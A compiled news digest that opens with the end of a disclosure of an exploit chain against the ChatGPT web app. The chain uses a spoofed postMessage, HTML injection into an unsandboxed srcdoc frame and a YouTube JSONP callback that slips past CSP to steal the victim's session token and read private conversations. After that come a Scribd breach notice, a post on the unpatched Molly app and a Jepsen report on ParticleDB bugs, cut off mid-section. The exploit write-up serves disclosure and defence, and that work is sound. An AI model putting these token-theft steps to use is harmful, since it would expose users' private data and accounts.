window.addEventListener("message", (event) => {
  if (event.data?.type !== "mathlive#virtual-keyboard-message") return;
  if (!validateOrigin(event.origin, this.originValidator)) return;
  this.handleMessage(event.data, event.source);
});

if (message.action === "update-setting" && message.layouts) {
  this.layouts = message.layouts;
}

Layout normalization preserved layouts[].layers[].markup. Showing the keyboard eventually performed the equivalent of:

keyboardContainer.innerHTML = MathfieldElement.createHTML(keyboardHTML);

createHTML acted as an identity or Trusted Types wrapper, not a sanitizer. Trusted Types can restrict who assigns to an HTML sink, but an identity policy does not make an attacker-controlled string safe.

The parser and CSP transition. The innerHTML operation could create an iframe, but a script inserted directly that way would remain inert. The unsandboxed srcdoc caused a fresh HTML document parse and inherited the embedding ChatGPT origin. That document also inherited the effective CSP captured during testing, which blocked inline code but permitted www.youtube.com in script-src-elem.

The oEmbed response returned HTTP 200 with Content-Type: text/javascript; charset=UTF-8 and X-Content-Type-Options: nosniff; no Cross-Origin-Resource-Policy header was observed. Google rewrote angle brackets in the callback, so the payload used classic function syntax instead of arrow functions. Ending the program with ;void consumed the error object appended by the endpoint.

For the private-conversation proof, the function was converted to source with toString(), double quotes were converted to single quotes, and whitespace was collapsed. URLSearchParams then encoded it into the callback, the script URL was HTML-escaped inside <script src>, and that entire element was escaped again into the iframe's srcdoc attribute. The final callback was 5,533 characters; the YouTube URL was 7,309 characters; the script element was 7,337 characters; and the final iframe markup was 7,390 characters.

The authenticated read. The same-origin frame parsed #client-bootstrap from the parent document, extracted the session access token and account ID, and required the account ID in the token to agree with the session when both were present. It used these in-memory headers:

Authorization: Bearer <victim token>
ChatGPT-Account-ID: <victim account>
Accept: application/json

The primary requests were:

GET /backend-api/conversations?exclude_conversation_origin=tpp&expand=false&is_archived=false&is_starred=false&limit=20&order=updated&offset=0
GET /backend-api/conversations/<id>?num_turns=2&include_has_versions=true

Only a 403, 404, or 405 on the detail request caused the code to try the legacy /backend-api/conversation/<id>?include_full_conversation=true route. The validation transmitted only a small selected value from the response. Before the external image request, it cleared references to the token, account, bootstrap, session, and request headers.

Key takeaways

  • Isolation is only as strong as every bridge across it. A sandboxed frame can still compromise its parent when a privileged listener trusts messages from the wrong sender.
  • postMessage receivers must authenticate both event.origin and event.source before accepting state-changing instructions.
  • HTML injection can become JavaScript execution through a fresh, unsandboxed document and an allowed third-party script endpoint. CSP is valuable defense in depth, but it cannot make an unsafe rendering path safe.
  • The impact of same-origin JavaScript must be measured in the victim's authenticated context. Once code ran as chatgpt.com, it could reach the same private data and account actions available to the normal frontend—not merely display an alert.
  • Cross-feature testing matters. This chain existed in the seams between public sharing, Preview, MathLive, frame creation, and CSP rather than in any one feature viewed alone.

The broader lesson is that security boundaries have to hold across the complete product, not just inside individual components. Any public or shareable surface should be treated as attacker-controlled input, every cross-frame message should be authenticated, and untrusted markup should remain sandboxed throughout its entire rendering path.

The Daily Front Page 5 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Breach Desk
ask hn

Tell HN: Scribd Breached

by x______________·▲ 344 points·121 comments·news.ycombinator.com ↗

Not seeing anything posted about this anywhere, received on Monday, 26th of Oct 2026:

Subject: Notice of Security Incident

This notice is being sent on behalf of Scribd, Inc., the parent company of Scribd, Slideshare, Everand, and Fable, by Epiq, Scribd Inc.’s notification partner.

Hello,

We are writing to let you know that Scribd, Inc. recently experienced a security incident that may have affected your data.

We detected that an unauthorized third party may have gained access to certain user data in one of our systems. After investigating this activity, we found that the third party may have accessed your email address and the following of your information: last 4 digits of your credit card and country, credit card issuer, credit card expiry date, payment history (not including credit card details).

We have no evidence that this data has been misused, but we are notifying you out of an abundance of caution so that you can take steps to protect your information.

Watch for phishing

We encourage you to stay vigilant for phishing attempts by bad actors pretending to be Scribd, Inc. or Scribd, Slideshare, Everand or Fable.

Remember that Scribd, Inc. will never ask you for your username and password or other sensitive information via email or text. If you did receive a message like that:

Don't click on any links in it. Instead type scribd.com, slideshare.net, everand.com, or fable.co directly into your browser.
Call us at: +1-877-361-9887. Hours of operation are Monday-Friday, 11:00 a.m.-11:00 p.m., Central European Time.
Report it through Scribd, Inc.'s Help Center.

For more information

We regret that this incident occurred and any concern it may cause you. If you have additional questions, contact the dedicated call center at +1-877-361-9887. Hours of operation are Monday-Friday, 11:00 a.m.-11:00 p.m. Central European Time.

The National Cyber Security Center has helpful guidance on how to recognize and avoid phishing scams here.

What Scribd, Inc. is doing

We have secured the affected system and ended the unauthorized access.
We have notified law enforcement as well as the relevant data protection authorities.
We are working with an expert third party cybersecurity firm to strengthen our access controls and monitoring.

We value the trust you place in us with your information, and don’t take that lightly. We are deeply sorry this happened and will keep you updated if anything further changes.

Scribd, Inc.

Join the discussion on Hacker News →

The Daily Front Page 6 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Breach Desk
article

Molly (Signal fork) has not been updated since 3 months and is vulnerable

by DeepLogin·▲ 324 points·185 comments·piefed.world ↗

As of now, Molly lastest release was in 31 July (Version v8.19.2-4).

It contains vulnerabilities that had been simply fixed in mainline Signal.

Take for example the latest exploit disclosed in October, it has been fixed in Signal 8.27. 1. Meanwhile Molly remains vulnerable.

It’s currently recommended to use mainline Signal and delete Molly till they at least return to updating their app adequately, if they ever will.

The Daily Front Page 7 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Database, Found Wanting
article

Jepsen: ParticleDB 1.1.4

by aphyr·▲ 286 points·163 comments·jepsen.io ↗
ParticleDB’s claims of “Full ACID” were somewhat premature.

ParticleDB is a multi-model database designed for AI workloads. We tested versions 1.1.4 through 1.1.18.11.rc-22 and found that ParticleDB’s claims of “Full ACID” were somewhat premature. We present 96 issues in ParticleDB, ranging from the pedestrian (crashes, deadlocks, data loss, etc.) to the piquant (partially-invisible rows which could not be deleted, WHERE 4 = 5, dropped tables re-emerging in distorted forms, confused columns, strings turning into integers, and so on). Most issues required just a single server, single client, and no faults. By version 1.1.18.11.rc-22, all but ten of those issues appeared resolved. However, ParticleDB continued to lose committed writes during normal operation with the default occ transaction mode, and allowed internal anomalies and Lost Update with serializable, the strongest setting. Orkes, the makers of ParticleDB, have since released version 1.1.19-rc.13; they claim that it resolves all remaining issues discussed in this report. This research was funded by Orkes, Inc., and conducted in accordance with the Jepsen ethics policy.

1 Background

Modern applications often spread state across a variety of systems: databases, caches, queues, data warehouses, search indices, and so on. Coordinating these systems is challenging: caches are often stale, the analytics platform might lag days behind the primary database, the search index might lose data, and transactional updates across disparate systems remains an open research problem.

ParticleDB1 aims to unify these workloads in a single engine with a special focus on AI agents and applications. It offers transactional SQL, a key-value store, vector search, live analytics, and user-defined functions called Particles.2 To integrate with existing systems, clients can connect through a variety of interfaces, including the Postgres and Redis protocols, as well as its own gRPC and HTTP2 APIs. Written from the ground up in Rust, ParticleDB claims to be orders of magnitude faster than Postgres while preserving the same safety characteristics.

ParticleDB was built by Orkes to support their workflow orchestration platform, Conductor. Conductor was initially built to store data in Redis and Postgres, but to improve performance, Orkes opted to write their own database. ParticleDB 1.0.0 offered a limited feature set specifically for Conductor’s queries, and was deployed as the backing database for some of their Conductor clusters. A few Orkes customers followed suit. In preparation for a broader release, Orkes undertook a major refactoring of ParticleDB, adding a custom wire protocol, more datatypes, additional OLAP queries, and more. While Orkes and their customers continued to run 1.0.0, they soft launched the refactored versions on particledb.ai. Orkes engaged Jepsen to test these versions of ParticleDB, beginning with 1.1.4.

While ParticleDB could run as a single node, it also offered a replicated cluster using the Raft consensus protocol. This replication feature was available only in enterprise cloud deployments. The builds Orkes provided did not support replication, so this report covers only single-node behavior.

1.1 Safety

ParticleDB’s home page advertised that ParticleDB was “formally proven” with a TLA+ proof. However, during our collaboration no TLA+ specification was available. It is unclear what properties might be proven, or whether they described ParticleDB as built.

ParticleDB offered three tactics for syncing its Write-Ahead Log (WAL). The sync mode called fsync on each commit, groupsync batched multiple transactions into a single fsync, and nosync skipped fsync altogether. The Transaction Engine documentation described sync as offering “stronger durability” than groupsync. On the other hand, particledb start --help said the groupsync mode ensured that “COMMIT waits for flush”, and Orkes’ internal operator guide concurred: groupsync offered the “same durability as sync”.

ParticleDB’s home page proudly claimed “Full ACID. 159K TPS.” However, the text immediately below this said “snapshot isolation”, which is not fully isolated.

Most SQL databases use the SET TRANSACTION ISOLATION LEVEL statement to control the concurrent semantics of a transaction. However, ParticleDB ignored or rejected these statements. In some cases it instructed users to choose READ COMMITTED, a relatively weak isolation level. In other cases it accepted requests for different isolation levels, and silently ignored them (despite documentation to the contrary).

Instead, transaction isolation was governed by the --txn-mode setting passed at startup. The transaction engine documentation described four modes:

Mode Behavior When to use
fast No locks; commit-on-write Bulk loads, single-writer benchmarks
occ Overlay + commit-time OCC validation (default) General OLTP — safe under concurrency
zero-copy-occ Partition-pinned OCC; single-partition txns skip cross-partition coordination High-throughput OLTP on partition-affine workloads (TPC-C, key-value)
table-2pl Exclusive table locks at first touch Strictest serialization, simple semantics

This table was difficult to interpret. While the best practices documentation warned that users should “pick --txn-mode deliberately”, since “it changes correctness and throughput characteristics more than SQL text does”, the documentation did not explain what these modes actually guaranteed. The fast mode was clearly intended for weaker isolation, but was that Read Atomic, Read Uncommitted, or something else? The occ mode was similarly unclear. “Commit-time OCC validation” could describe a broad spectrum of consistency models from Read Uncommitted to Strong Serializable, but “safe under concurrency” suggests it might be Serializable. The zero-copy-occ mode described a performance optimization which could be as safe as occ, but it was not described as “safe under concurrency”—raising the question: in what ways was it unsafe? Finally, if table-2pl offered the “strictest serialization”, was occ some weaker isolation level?

The CLI reference page contained another table which described occ and table-2pl as “Jepsen-safe”, whereas fast was not “Jepsen-safe”, but did not explain their safety properties. Since Jepsen evaluates safety with respect to documentation and marketing claims, it is not clear how to interpret these terms.3

Running particledb start --help provided the following table:

Mode Description
fast No locks, maximum OLTP throughput (unsafe under concurrency)
occ Table locks + commit-time validation (safe for most OLTP)
row-2pl Alias for occ
zero-copy-occ Partition-pinned OCC (highest throughput safe mode)
table-2pl Exclusive table locks, full serialization (strictest)
serializable Alias for table-2pl
serializable-ssi Adaptive SSI (Cahill 2008), PL-3 with optimistic semantics (v1 scaffolding — see SSI_ADAPTIVE_DESIGN.md)

The point of Optimistic Concurrency Control (OCC) is generally to avoid taking locks, so the mention of table locks and a row-2pl4 alias was surprising. Moreover, “safe for most OLTP” undermines the claim that occ was “safe under concurrency”; it suggests there are some OLTP workloads which are unsafe!

Orkes explained that this documentation was wrong: occ was actually optimistic, and the row-2pl alias was to preserve compatibility with an earlier two-phase locking mechanism. They also provided an unpublished operator guide with detailed descriptions of the various transaction modes. This document was difficult to interpret, but did specify the following consistency models:

Mode Consistency Model
fast Unknown
occ-v3 (a.k.a. occ, occ-v2, row-2pl) Snapshot Isolation
zero-copy-occ (a.k.a. zocc) Snapshot Isolation
serializable-ssi (a.k.a. ssi) Serializable
table-2pl (a.k.a. serializable) Strong Serializable

Sources disagreed about the default transaction and WAL sync modes, but in general, occ-v3 and groupsync appeared to be the default.

2 Test Design

We wrote a test suite for ParticleDB using the Jepsen testing library. We ran ParticleDB versions 1.1.4 through 1.1.18.11.rc-22 on individual Debian 13 nodes, both in containers and EC2 VMs. Our test harness could simulate process crashes by killing ParticleDB, simulate the loss of un-fsynced writes using LazyFS, and truncate or corrupt disk files. We ran ParticleDB using each transaction mode and all three WAL sync modes.

We first tried ParticleDB’s official Java SDK. While the documentation indicated that the library was available as a Maven dependency, neither the JAR nor source code were actually available. Instead, we began with the official Postgres JDBC client, version 42.7.11, and later added support for the ParticleDB Java SDK, versions 1.0.0 through 1.0.2.

2.1 Workloads

We used several Jepsen workloads from other SQL databases, and designed new ones specifically for ParticleDB.

The rw workload performed randomly generated transactions involving reads and writes of integer values identified by unique integer keys. We stored each value in a single row and accessed them both via primary and unindexed secondary keys. Keys and values were encoded as a variety of datatypes, including integers, decimals, and strings. We assumed that writes followed reads within each transaction, and that individual keys were sequentially consistent, and used these assumptions to infer constraints on the version orders and transaction dependency graphs. Jepsen’s transactional checker, Elle, then searched for cycles in that dependency graph, as well as a variety of non-cyclic phenomena like G1a (Aborted Read).

The append workload also performed randomly generated transactions over rows identified by unique integer keys, but the values were lists of integers. Transactions could read one of these lists by key, or append a unique integer to a list by key. We encoded each list as a comma-separated text field, and used SQL concat to append to them. Rows could be selected via primary key or unindexed secondary key, or via a join to an indirection table. From there, we used Elle to infer version orders and dependency graphs, and searched for a variety of cyclic and non-cyclic phenomena.

When these workloads revealed consistency violations within a single transaction, we designed an internal workload to stress internal consistency. This workload performed a series of randomly generated transactions involving INSERT, UPDATE, DELETE, and SELECT statements over a simple key-value table, and verified that within each individual transaction, reads observed prior writes.

To investigate tantalizing anomalies in the internal workload, we designed the compare workload. This workload used Clojure’s test.check generative testing library to produce random tables and simple SQL statements over them, then executed those statements against both ParticleDB and PostgreSQL. If ParticleDB’s behavior was not equivalent to PostgreSQL’s, the compare workload would search for a simpler sequence of statements that could reproduce the same divergence. Although our SQL generator was relatively simple—just a few basic datatypes, literals, arithmetic, comparisons, boolean logic, transactions, and some simple LIMIT, OFFSET, and ORDER BY clauses—it proved remarkably fruitful.

Drawing on these successes, we devised a hybrid internal-sim workload to search for violations of internal consistency in more complex transactions. This workload generated a random set of tables, then concurrently executed random transactions over them. It then checked each transaction independently to ensure that each of its statements observed results consistent with those preceding. For example, if a transaction executed DELETE ... WHERE 2 < c, then observed a row with c = 3, we could prove that transaction was not internally consistent.

3 Results

We found 96 issues with ParticleDB, which we present in several categories below. All but three of these issues occurred in healthy, single-node instances of ParticleDB. Busy readers may wish to jump to the Discussion section, which summarizes our findings.

3.1 Availability and Performance

Under normal operation, ParticleDB was slow, deadlocked, and crashed without warning.

3.1.1 Abysmal Performance With table-2pl (#62)

In ParticleDB 1.1.4 through 1.1.18.4, --txn-mode table-2pl was so slow as to be essentially unusable. While some transactions might complete in a few milliseconds, most took 10, 20, or even 30 seconds, then failed.

For example, take this test run with a single node running 1.1.18.4, transaction mode table-2pl, and WAL mode groupsync. With ten concurrent clients, most transactions blocked for tens of seconds before throwing could not serialize access due to concurrent update, or an IO error.

High latencies (#62) appeared improved by 1.1.18.6, which could execute transactions with sub-100 millisecond latencies for at least a few seconds.

3.1.2 Mystery Crash (#81)

While 1.1.18.6 improved latencies, it also crashed frequently. Crashes occurred spontaneously with various transaction modes, WAL modes, and client interfaces; there was no obvious cause. Nodes would run for a few hundred to a few thousand seconds before exiting. No error messages were printed. These crashes (#81) no longer appeared in 1.1.18.11.rc-18.

3.1.3 Deadlock After Two Transactions (#27)

In ParticleDB 1.1.18.8, submitting as few as two concurrent transactions to a healthy, single-node deployment could cause it to deadlock. This occurred both using the Postgres and ParticleDB interfaces. The node would log an error message like [DEADLOCK] 1 cycles detected at SystemTime ..., and an empty backtrace. In some cases new clients could attach and perform transactions; in others, new clients would also hang indefinitely. This may reflect multiple deadlock bugs.

With the append workload, version 1.1.18.9 generally could not run for more than 45 seconds without locking up. Version 1.1.18.11.rc-1 could reliably run for two minutes without lockups, and we declared the issue (#27) resolved.

3.1.4 Deadlock With table-2pl (#71)

While version 1.1.18.11.rc-1 fixed the most frequent deadlocks, we continued to find deadlocks through 1.1.18.11.rc-6 when running with table-2pl. An otherwise healthy ParticleDB node would execute transactions for about 30 seconds, then get stuck forever. The node would log a similar deadlock error message to #27, and all requests with the ParticleDB client would throw PDB JDBC: null after a 100 second default timeout. These deadlocks (#71) appeared resolved by 1.1.18.11.rc-7.

3.2 Broken Features

Orkes’ public documentation claimed broad support for Postgres features, and the internal operator guide concurred:

The engine speaks PostgreSQL v3 wire protocol natively — anything that speaks pgjdbc / libpq / psycopg2 / pq connects unchanged. BEGIN, COMMIT, ROLLBACK, prepared statements, parameterised queries, and extended-query pipelining all work as expected.

These claims were somewhat optimistic. ParticleDB was missing support for a wide array of Postgres features, and others were badly broken.

3.2.1 No Aggregates Within CASE (#20)

In ParticleDB 1.1.4 through 1.1.18.4, aggregate expressions like COUNT(*) were not supported within CASE expressions.

SELECT
  CASE
    WHEN COUNT(*) = 2
      THEN 'CASE_COUNT_STAR_OK'
      ELSE 'CASE_COUNT_STAR_BAD'
  END
FROM t;

This threw Error: cannot evaluate wildcard expression. ParticleDB gained support for this feature (#20) by version 1.1.18.6.

3.2.2 Unsupported Exponentiation (#28)

ParticleDB 1.1.4 through 1.1.18.8 did not support the Postgres exponentiation operator:

root=> SELECT 2 ^ 3;
ERROR:  unsupported binary operator: PGExp

Version 1.1.18.9 added support for the ^ operator (#28).

3.2.3 Malformed Responses for Prepared Statements (#2)

In ParticleDB 1.1.4 through 1.1.18.9, any attempt to execute a prepared statement using the Postgres JDBC driver caused an exception like Execution error (NoSuchElementException) at java.util.ArrayDeque/removeFirst. Since the JDBC driver automatically switches to prepared statements after the first few calls to execute(), this rendered the database essentially unusable. As a workaround, we disabled the client’s use of prepared statements.

Prepared statements are executed using Postgres’ extended query protocol, which takes place in several (potentially reusable) phases: Parse, Bind, Execute, and so on. Orkes believes that ParticleDB likely failed to return a response for one of those phases, or returned an extra message, causing the client’s queue to underflow. By version 1.1.18.11.rc-1, this issue (#2) appeared fixed.

3.2.4 Most Postgres Queries Fail (#83)

In ParticleDB 1.1.18.11.rc-7 through 1.1.18.11.rc-19, many queries using the Postgres interface threw Bad value for type long: some_column. This rendered the database largely unusable.

CREATE TABLE ints (a int);
SELECT * FROM ints;
  -> Bad value for type long : a

Orkes believes this issue (#83) was fixed in 1.1.19-rc.12.

3.2.5 Tuples Without Fields (#111)

In 1.1.18.11.rc-18 and rc-19, queries with the Postgres interface occasionally threw errors like Received resultset tuples, but no field structure for them.5 For example, take this test of version 1.1.18.11.rc-19, with no faults, a new strict-serializable transaction mode, and WAL mode sync. It executed a transaction like:

BEGIN;
SELECT * FROM t_38;
INSERT INTO u_38 (d, a, c, b) VALUES
  (null, null, false, "oudt1THxi");
INSERT INTO t_38 (d, b) VALUES
  (false, "BCczDbueXLz9zXnpgbdCeFbC5y6XSEys3");
COMMIT;

This complained of resultset tuples with no field structure, suggesting an error in ParticleDB’s Postgres protocol state machine. While Jepsen has not tested this version, Orkes reports this issue (#111) was fixed in version 1.1.19-rc.13.

3.2.6 Broken Postgres Authentication (#1)

The Postgres wire protocol usually authenticates clients using a username and password. ParticleDB had a --pg-password option, but 1.1.4 through 1.1.18.8 lacked any option to set the username. Some of the documentation indicated the default username was admin, while other pages said it was particledb. Neither appeared to work; the only option was to use --no-auth to disable authentication altogether. Version 1.1.18.11.rc-1 introduced a --pg-username option (#1).

3.2.7 Java Client Could Not Execute Transactions (#3)

Version 1.0.0 of the official ParticleDB Java client refused every attempt to execute a transaction. Any call to begin a JDBC transaction, or to execute a BEGIN statement, would result in an error message: PDB wire error 1064: SQL plan error: transaction/session statements do not produce a query plan.

ParticleDB 1.1.4 could execute transactions via its Postgres interface, but using the official Java SDK was essentially impossible. This issue (#3) seems to have been resolved by ParticleDB 1.1.15.

3.3 Predicates

ParticleDB struggled to interpret predicates. WHERE clauses failed to match rows they should have, or matched unexpected or nonexistent rows. These issues occurred with a single server, single client, and no faults.

3.3.1 SELECT Ignores WHERE Clause (#40)

In ParticleDB 1.1.4 through 1.1.18.9, SELECT queries without a table accepted a WHERE clause, but ignored it.

root=> SELECT 5 WHERE FALSE;
 5
---
 5
(1 row)

This should have returned zero rows. Version 1.1.18.11.rc-1 seems to have resolved this issue (#40).

3.3.2 WHERE 1 < (a + 2) (#47)

Version 1.1.1.18.9 introduced a new problem with predicates: inside a transaction, a WHERE clause which performed sufficiently complex floating-point operations would silently fail to match any rows. For example:

root=> CREATE TABLE t (a real);
root=> INSERT INTO t (a) VALUES (3);
root=> BEGIN;
root=*> SELECT * FROM t WHERE 1 < (a + 2);
 a
---
(0 rows)

The same problem applied to SELECT, UPDATE, and DELETE: predicates like WHERE (a * 2) IS NOT NULL would silently fail to match. However, simpler predicates like WHERE a IS NOT NULL would match correctly. The effect disappeared if the column was an integer. Moreover, some predicates which would throw errors outside a transaction would silently match zero rows within a transaction, suggesting these predicates were not being evaluated at all:

root=> SELECT * FROM t WHERE 1 < (5.0 % 3);
ERROR:  internal error
root=> BEGIN;
root=*> SELECT * FROM t WHERE 1 < (5.0 % 3);
 a
---
(0 rows)

This issue (#47) appeared resolved by 1.1.18.11.rc-1.

3.3.3 WHERE 4 = 5 (#18)

ParticleDB 1.1.4 through 1.1.17 aggressively interpreted WHERE something = x as a primary-key lookup of x, regardless of the value of something.

root=> CREATE TABLE t
       (a int primary key, b int);
root=> INSERT INTO t VALUES (4, 5), (5, 6);
root=> SELECT * FROM t WHERE b = 4;
 a | b
---+---
 4 | 5

ParticleDB would ignore a row with b = 5 in favor of a = 5:

root=> SELECT * FROM t WHERE b = 5;
 a | b
---+---
 5 | 6
(1 row)

You could write predicates over non-existent columns:

root=> SELECT * FROM t
       WHERE definitely_not_a_column = 4;
 a | b
---+----
 4 | 5
(1 row)

Or ask if 4 = 5:6

root=> SELECT * FROM t WHERE 4 = 5;
 a | b
---+---
 5 | 6
(1 row)

By version 1.1.18.4, ParticleDB had learned that not every equality comparison involved a primary key (#18).

3.3.4 SELECT in a Transaction Returns Nonsense (#35)

The behavior of SELECT within a transaction in ParticleDB versions 1.1.4 through 1.1.18.8 was thoroughly confusing. Consider a single client connected to a fresh single-node instance of ParticleDB 1.1.18.8. It creates a simple table of integers with two rows, 1 and 2, and begins a transaction:

root=> CREATE TABLE t (a INT UNIQUE);
root=> INSERT INTO t VALUES (1), (2);
root=> BEGIN;
root=*> SELECT * FROM t;
 a
---
 1
 2
(2 rows)

So far, so good. But now consider:

root=*> SELECT * FROM t WHERE a = 1;
 a
---
 2
(1 row)

root=*> SELECT * FROM t WHERE a = 3;
 a
---
 2
(1 row)

root=*> SELECT * FROM t WHERE a IN (1, 2);
 a
---
 2
(1 row)

root=*> SELECT * FROM t WHERE FALSE;
 a
---
 2
(1 row)

One might conclude that every SELECT with a predicate returned a single row from the requested table—perhaps the most recently inserted row. But this is not true, because many predicates evaluating to TRUE returned nothing.

root=*> SELECT * FROM t WHERE TRUE;
 a
---
(0 rows)

root=*> SELECT * FROM t WHERE 3 = 3;
 a
---
(0 rows)

This behavior (#35) seemed improved by ParticleDB 1.1.18.9.

3.4 Constraints

ParticleDB often violated constraints like NOT NULL or UNIQUE, even with a single server, single client, and no faults.

3.4.1 Not-Null Constraints Allow Null (#8)

While ParticleDB allowed users to add NOT NULL constraints to columns, versions 1.1.4 through 1.1.17 ignored them, resulting in bizarre states.

root=> CREATE TABLE t (a BOOLEAN NOT NULL);
root=> INSERT INTO t (a) VALUES (NULL);
INSERT 0 1

While the resulting row existed in some sense, it was partly invisible.

root=> SELECT * FROM t;
 a
---
(0 rows)

root=> SELECT COUNT(*) FROM t;
 COUNT
-------
     1
(1 row)

root=> SELECT COUNT(*) FROM t WHERE a IS NULL;
 COUNT
-------
     0
(1 row)

In version 1.1.18.4, ParticleDB started to enforce null constraints (#8).

3.4.2 Unique Constraints Allow Duplicates (#9)

Similarly, while ParticleDB allowed users to add unique constraints to columns, versions 1.1.4 through 1.1.18.4 simply ignored them.

root=> CREATE TABLE t (a boolean UNIQUE);
root=> INSERT INTO t (a) VALUES (TRUE);
INSERT 0 1
root=> INSERT INTO t (a) VALUES (TRUE);
INSERT 0 1
root=> SELECT * FROM t;
 a
---
 t
 t
(2 rows)

In version 1.1.18.6, ParticleDB partially enforced unique constraints (#9).

3.4.3 Duplicate Primary Keys (#29)

Although 1.1.18.6 made UNIQUE constraints somewhat more robust, 1.1.4 through 1.1.18.8 allowed an UPDATE to produce multiple rows with the same primary key.

root=> CREATE TABLE t (id text PRIMARY KEY,
                       desc text);
root=> INSERT INTO t VALUES ('a', 'a');
root=> INSERT INTO t VALUES ('b', 'b');
root=> UPDATE t SET id = 'c';
UPDATE 2

Selecting a row by primary key returned only one of the two rows, but other predicates could return both:

root=> SELECT * FROM t WHERE id = 'c';
 id | desc
----+------
 c  | b
(1 row)

root=> SELECT * FROM t WHERE id LIKE 'c';
 id | desc
----+------
 c  | a
 c  | b

This issue (#29) appears to have been fixed by 1.1.18.9.

3.4.4 Null Primary Keys (#57)

Per the SQL standard, primary keys may not be null. This makes intuitive sense, since NULL represents an unknown value. ParticleDB would not allow you to insert null values for primary keys. However, versions 1.1.4 through 1.1.18.11.rc-1 were perfectly happy to update the primary key of one (or more!) rows to NULL.

root=> CREATE TABLE t (a int PRIMARY KEY);
root=> INSERT INTO t (a) VALUES (3), (4);
root=> UPDATE t SET a = NULL;
root=> SELECT * FROM t;
 a
---


(2 rows)

ParticleDB 1.1.18.11.rc-3 rejected attempts to set primary keys to NULL (#57).

3.4.5 Primary Key Conflicts with Deleted Rows (#82)

In ParticleDB 1.1.18.4 through 1.1.18.11.rc-11, a transaction which deleted a row, then inserted a new row with the same primary key, would abort due to a primary key constraint violation. For example:

CREATE TABLE t (a int PRIMARY KEY);
INSERT INTO t (a) VALUES (7);
BEGIN;
DELETE FROM t;
INSERT INTO t (a) VALUES (7);
COMMIT;

The second INSERT would throw PDB wire error 1064: SQL execution error: duplicate key value violates unique constraint (key=7), but only when using the ParticleDB interface—the Postgres interface was unaffected. Orkes partially addressed this issue (#82) in version 1.1.18.11.rc-9, and fixed another case of it in version 1.1.18.11.rc-18.

3.4.6 Lack of Primary Key Conflicts with Extant Rows (#90)

In ParticleDB 1.1.18.11.rc-9, a transaction executing concurrently with other transactions could read a row with a primary key, then successfully insert a row with that same primary key. For example, take this internal-sim test, which created a table with two integer columns:

CREATE TABLE u_14 (b int, a int PRIMARY KEY);

A transaction ran SELECT * FROM u_14 and observed several rows, including {:b 1020026655, :a -1}. It then ran INSERT INTO u_14 (b, a) VALUES (-27, -1), which should have conflicted with the extant primary key, but succeeded instead. It went on to SELECT * FROM u_14 again, and observed the newly inserted row, but not the previously existent one. This is a violation of internal consistency.

As of version 1.1.18.11.rc-19, we no longer observed these internal consistency violations (#90).

3.5 Joins

ParticleDB struggled to join tables together. The following issues occurred with a single server, single client, and no faults.

3.5.1 Can’t Join Integers to Floats (#58)

Even after agreeing that 2.0 = 2, ParticleDB 1.1.4 through 1.1.18.9 refused to join two tables on an int and a real column:

root=> CREATE TABLE t (a real);
root=> CREATE TABLE u (a int);
root=> INSERT INTO t (a) VALUES (2.0);
root=> INSERT INTO u (a) VALUES (2);
root=> SELECT t.a FROM t JOIN u ON u.a = t.a;
ERROR:  join key must be integer type

Databases like Postgres would return a single row here, since 2.0 = 2. ParticleDB gained the ability to join floats to integers (#58) by 1.1.18.11.rc-1.

3.5.2 Incorrect Column Names (#54)

Because two tables can have a column with the same name, SQL databases generally return both table and column names, so you can tell which column belonged to which table. ParticleDB, with both the ParticleDB and Postgres interfaces, neglected to return table names. Instead, versions 1.1.4 through 1.1.18.11.rc-1 renamed column a in joined tables to right.a, right.right.a, and so on. Consider the following simple join across two tables t and u, both with an integer column a:

SELECT * FROM t FULL OUTER JOIN u
  ON t.a = u.a;

In Postgres this produced rows like:

[{:t/a 1, :u/a 1.0}
 {:t/a 2, :u/a 2.0}]

Here the expression :t/a denotes column a of table t. In ParticleDB, this same query returned:

[{:a 1, :right.a 1.0}
 {:a 2, :right.a 2.0}]

The table names are completely missing, and ParticleDB has altered the name of column a to right.a. Programs which expected typical SQL behavior would throw an error as they attempted to read columns which were not present, or could silently read null values.

ParticleDB 1.1.18.11.rc-3 no longer munged columns, but the database still omitted table names. The resulting name collisions destroyed information.

[{:a 1}
 {:a 2}]

While Jepsen has not had a chance to test this version, Orkes claims this issue (#54) was resolved by version 1.1.19-rc.13.

3.5.3 Coercing to Strings (#76)

In ParticleDB 1.1.4 through 1.1.18.11.rc-19, joins would coerce some values to strings in ParticleDB’s Postgres interface. For example, consider the following join:

CREATE TABLE t (a int);
CREATE TABLE u (a real);
INSERT INTO u (a) VALUES (3.2);
INSERT INTO t (a) VALUES (5);
SELECT u.a FROM t CROSS JOIN u;

With the ParticleDB interface, this produced the number 3.2. With the Postgres interface, it produced the string "3.2". This issue (#76) seemed fixed by 1.1.18.11.rc-21.

3.5.4 Missing Rows (#59)

In ParticleDB 1.1.4 through 1.1.18.11.rc-1, outer joins of a non-empty table to an empty one often returned no rows, even though the query should have produced all rows in the non-empty table. For example:

root=> CREATE TABLE t (a int);
root=> CREATE TABLE u (a int);
root=> INSERT INTO t (a) VALUES (1), (2);
root=> SELECT t.a AS t, u.a AS u
       FROM t LEFT JOIN u ON u.a = t.a;
 t | u
---+---
(0 rows)

By version 1.1.18.11.rc-3, ParticleDB correctly returned rows when joining to empty tables (#59).

3.5.5 Column Confusion (#77)

Many tables in real databases contain columns with identical names, like id or created_at. When asked to join two tables like this, ParticleDB 1.1.4 through 1.1.18.11.rc-6 became severely confused, even when all columns were fully qualified. For example:

root=> CREATE TABLE t (a text);
root=> CREATE TABLE u (a text);
root=> INSERT INTO t VALUES ('this'), ('that');
root=> INSERT INTO u VALUES
       ('is not the right column');
root=> SELECT t.a AS ta, u.a AS ua FROM t
       CROSS JOIN u WHERE (u.a = 'this');
  ta  |           ua
------+-------------------------
 this | is not the right column
(1 row)

This should not have matched anything—there are no rows in table u where u.a = 'this'. Instead ParticleDB matched a row in table t which satisfied t.a = 'this', then cross-joined it to all rows in u. To add insult to injury, 1.1.4 through 1.1.18.9 appeared to swap around the output columns, producing the following table:

           ta            |  ua
-------------------------+------
 is not the right column | this

If column t.a was of a different type than u.a, ParticleDB would try to coerce the types into compatible forms, producing bizarre error messages or delightfully weird results. Version 1.1.18.11.rc-7 was much less confused when joining tables containing the same column name (#77).

3.6 Zombies

ParticleDB often wound up with rows that could not be deleted or updated, or which persisted in some (perhaps mangled) form after their deletion. These issues occurred with a single server, single client, and no faults.

3.6.1 Total Recall (#26)

